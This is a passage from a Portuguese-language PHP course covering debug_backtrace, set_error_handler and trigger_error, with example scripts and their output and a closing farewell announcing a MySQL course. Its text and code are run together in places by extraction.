  • 127. (PHP 4 >= 4.3.0, PHP 5)debug_backtrace -- Gera um backtraceDescriçãoarray debug_backtrace ( void )debug_backtrace() gera um backtrace e retorna esta informação em uma matriz associativa.Os elementos possivelmente retornados estão na seguinte tabela:Tabela 1. Elementos possivelmente retornados de debug_backtrace()Nome Tipo Descriçãofunction string O nome da função atual. Veja também __FUNCTION__.line integer O número da linha atual. Veja também __LINE__.file string O nome do arquivo atual. Veja também __FILE__.class string O nome da classe atual. Veja também __CLASS__.type string O tipo da classe atual.args array Se estiver dentro de uma função, lista os argumentos da função. Se estiver dentrode um arquivo incluído, lista o(s) nome(s) do(s) arquivo(s).A seguir esta um exemplo simples.Exemplo 1. Exemplo debug_backtrace()// nome do arquivo: a.phpPHP 1. <?php 2. 3. function a_test($str) { 4. 5. echo "nHi: $str"; 6. 7. var_dump(debug_backtrace()); 8. } 9.
  • 128. 10. a_test(friend); 11. ?>// nome do arquivo: b.phpPHP 1. <?php 2. include_once /tmp/a.php; 3. ?> 4.Resultados quando executando /tmp/b.php:Hi: friendarray(2) { [0]=> array(4) { ["file"] => string(10) "/tmp/a.php" ["line"] => int(10) ["function"] => string(6) "a_test" ["args"]=> array(1) { [0] => &string(6) "friend" } } [1]=> array(4) { ["file"] => string(10) "/tmp/b.php" ["line"] => int(2) ["args"] => array(1) { [0] => string(10) "/tmp/a.php" } ["function"] => string(12) "include_once" }}
  • 129. debug_print_backtrace(PHP 5)debug_print_backtrace -- Mostra um backtracerestore_error_handler(PHP 4 >= 4.0.1, PHP 5)restore_error_handler -- Restaura a função anterior para gerenciamento de erroset_error_handler(PHP 4 >= 4.0.1, PHP 5)set_error_handler -- Define uma função do usuário para manusear os erros.Descriçãostring set_error_handler ( callback error_handler)Define uma função do usuário (error_handler) para manusear os erros no script. Retorna afunção definida anteriormente (se houver alguma), ou FALSE em caso de erro. Esta funçãopode ser usada para definir o seu próprio meio de manusear os erros durante a execução doscript, por exemplo em aplicações que você precisa fazer uma limpesa de dados/arquivosquando um erro crítico acontece, ou quando você quer criar um erro sobre certas condições(usando trigger_error()).A função do usuario precisa aceitar dois parâmetros: o código do erro e a string descrevendo oerro. Apartir do PHP 4.0.2, três parâmetros opcionais são fornecidos: o nome do erro onde oarquivo aconteceu, o número da linha onde o erro aconteceu, e o contexto onde o erroaconteceu (uma matriz que aponta para a tabela de símbolos ativos no ponto onde aconteceuo erro).Nota: Ao invés de um nome de função, uma matriz contendo uma referência a um objeto e umnome de metodo pode ser indicado (Apartir do PHP 4.3.0).Nota: Os seguintes tipos de erro não podem ser manuseados por uma função definida pelousuário: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR eE_COMPILE_WARNING.O exemplo abaixo mostra como manusear exceções criando erros e gerenciando erros comuma função definida pelo usuário: Exemplo 1. Manuseando erros com set_error_handler() etrigger_error()PHP
  • 130. 1. <?php2.3. // redefine the user error constants - PHP 4 only4. define("FATAL", E_USER_ERROR);5. define("ERROR", E_USER_WARNING);6. define("WARNING", E_USER_NOTICE);7.8. // set the error reporting level for this script9. error_reporting(FATAL | ERROR | WARNING);10.11. // error handler function12. function myErrorHandler($errno, $errstr, $errfile, $errline) {13. switch ($errno) {14. case FATAL:15. echo "<b>FATAL</b> [$errno] $errstr<br />n";16. echo " Fatal error in line $errline of file $errfile";17. echo ", PHP ".PHP_VERSION." (".PHP_OS.")<br />n";18. echo "Aborting...<br />n";19. exit(1);20. break;21. case ERROR:22. echo "<b>ERROR</b> [$errno] $errstr<br />n";23. break;24. case WARNING:25. echo "<b>WARNING</b> [$errno] $errstr<br />n";26. break;27. default:
  • 131. 28. echo "Unkown error type: [$errno] $errstr<br />n";29. break;30. }31. }32.33. // function to test the error handling34. function scale_by_log($vect, $scale) {35. if (!is_numeric($scale) || $scale <= 0) {36. trigger_error("log(x) for x <= 0 is undefined, you used: scale = $scale",37. FATAL);38. }39.40. if (!is_array($vect)) {41. trigger_error("Incorrect input vector, array of values expected", ERROR);42. return null;43. }44.45. for ($i=0; $i<count($vect); $i++) {46. if (!is_numeric($vect[$i]))47. trigger_error("Value at position $i is not a number, using 0 (zero)",48. WARNING);49. $temp[$i] = log($scale) * $vect[$i];50. }51. return $temp;52. }53.54. // set to the user defined error handler
  • 132. 55. $old_error_handler = set_error_handler("myErrorHandler"); 56. 57. // trigger some errors, first define a mixed array with a non-numeric item 58. echo "vector an"; 59. $a = array(2,3, "foo", 5.5, 43.3, 21.11); 60. print_r($a); 61. 62. // now generate second array, generating a warning 63. echo "----nvector b - a warning (b = log(PI) * a)n"; 64. $b = scale_by_log($a, M_PI); 65. print_r($ ; 66. 67. // this is trouble, we pass a string instead of an array 68. echo "----nvector c - an errorn"; 69. $c = scale_by_log("not array", 2.3); 70. var_dump($c); 71. 72. // this is a critical error, log of zero or negative number is undefined 73. echo "----nvector d - fatal errorn"; 74. $d = scale_by_log($a, -2.5); 75. 76. ?>E quando você usar este script de exemplo, a saída será:vector a
  • 133. Array( [0] => 2 [1] => 3 [2] => foo [3] => 5.5 [4] => 43.3 [5] => 21.11)vector b - a warning (b = log(PI) * a)<b>WARNING</b> [1024] Value at position 2 is not a number, using 0 (zero)<br />Array( [0] => 2.2894597716988 [1] => 3.4341896575482 [2] => 0 [3] => 6.2960143721717 [4] => 49.566804057279 [5] => 24.165247890281)vector c - an error<b>ERROR</b> [512] Incorrect input vector, array of values expected<br />NULL----vector d - fatal error<b>FATAL</b> [256] log(x) for x <= 0 is undefined, you used: scale = -2.5<br />Fatal error in line 36 of file trigger_error.php, PHP 4.0.2 (Linux)<br />Aborting...<br />É importante lembrar que o gerenciamento de erro do padrão do PHP é completamenteignorado. As definições de error_reporting() não terão efeito e seu gerenciador de erro seráchamado. Em todo o caso, você ainda poderá ler o valor atual de error_reporting e ajirapropriadamente. Uma nota em particular é que este valor será 0 se o comando que causou oerro for precedido pelo operador de controle de erro @.Note também que é sua responsabilidade usar o die() se necessário. Se a função que gerenciaos erros retornar, a execução do script irá continuar a apartir do comando seguinte ao que
  • 134. causou o erroNota: Se o erro acontecer antes da execução do script(ex. enquanto o arquivo é carregado) afunção defina pelo usuario não será chamada já que não estará ainda registrada.trigger_error(PHP 4 >= 4.0.1, PHP 5)trigger_error -- Gera uma mensagem de usuário sobre error/warning/noticeDescriçãovoid trigger_error ( string error_msg [, int error_type])Usa para realizar uma condição de erro, pode ser usado em conjunto com o gerenciador deerros padrão ou com uma função definida pelo usuário, se for definida como gerenciador deerros com set_error_handler(). Somente funciona com as constantes da família E_USER, e opadrão é E_USER_NOTICE.Esta função é útil quando você quer gerar uma resposta para uma exceção durante a execuçãodo script. Por exemplo:PHP 1. <?php 2. if (assert($divisor == 0)) { 3. trigger_error("Não posso dividir por zero", E_USER_ERROR); 4. } 5. ?>Nota: Veja set_error_handler() para um exemplo maior.Nota: error_msg é limitado a 1024 caracteres de tamanho. Qualquer caractere adicional alémde 1024 serão truncados.Fim do Curso de PHPQuero agradecer a todos que acompanharam esse curso, e agradeço os elogios e criticas, eespero que tenha aprendido alguma coisa nova ja fico contentee não quero parar de ajudar mesmo que o curso de PHP acabou logo iremos apresentar maiscursos o próximo curso a ser apresentado a vocês será sobre Mysql, e espero poder também
  • 135. passar um curso avançado sobre outros bancos de dados e funções avançadas do php,aguardem e bons estudosaté a próxima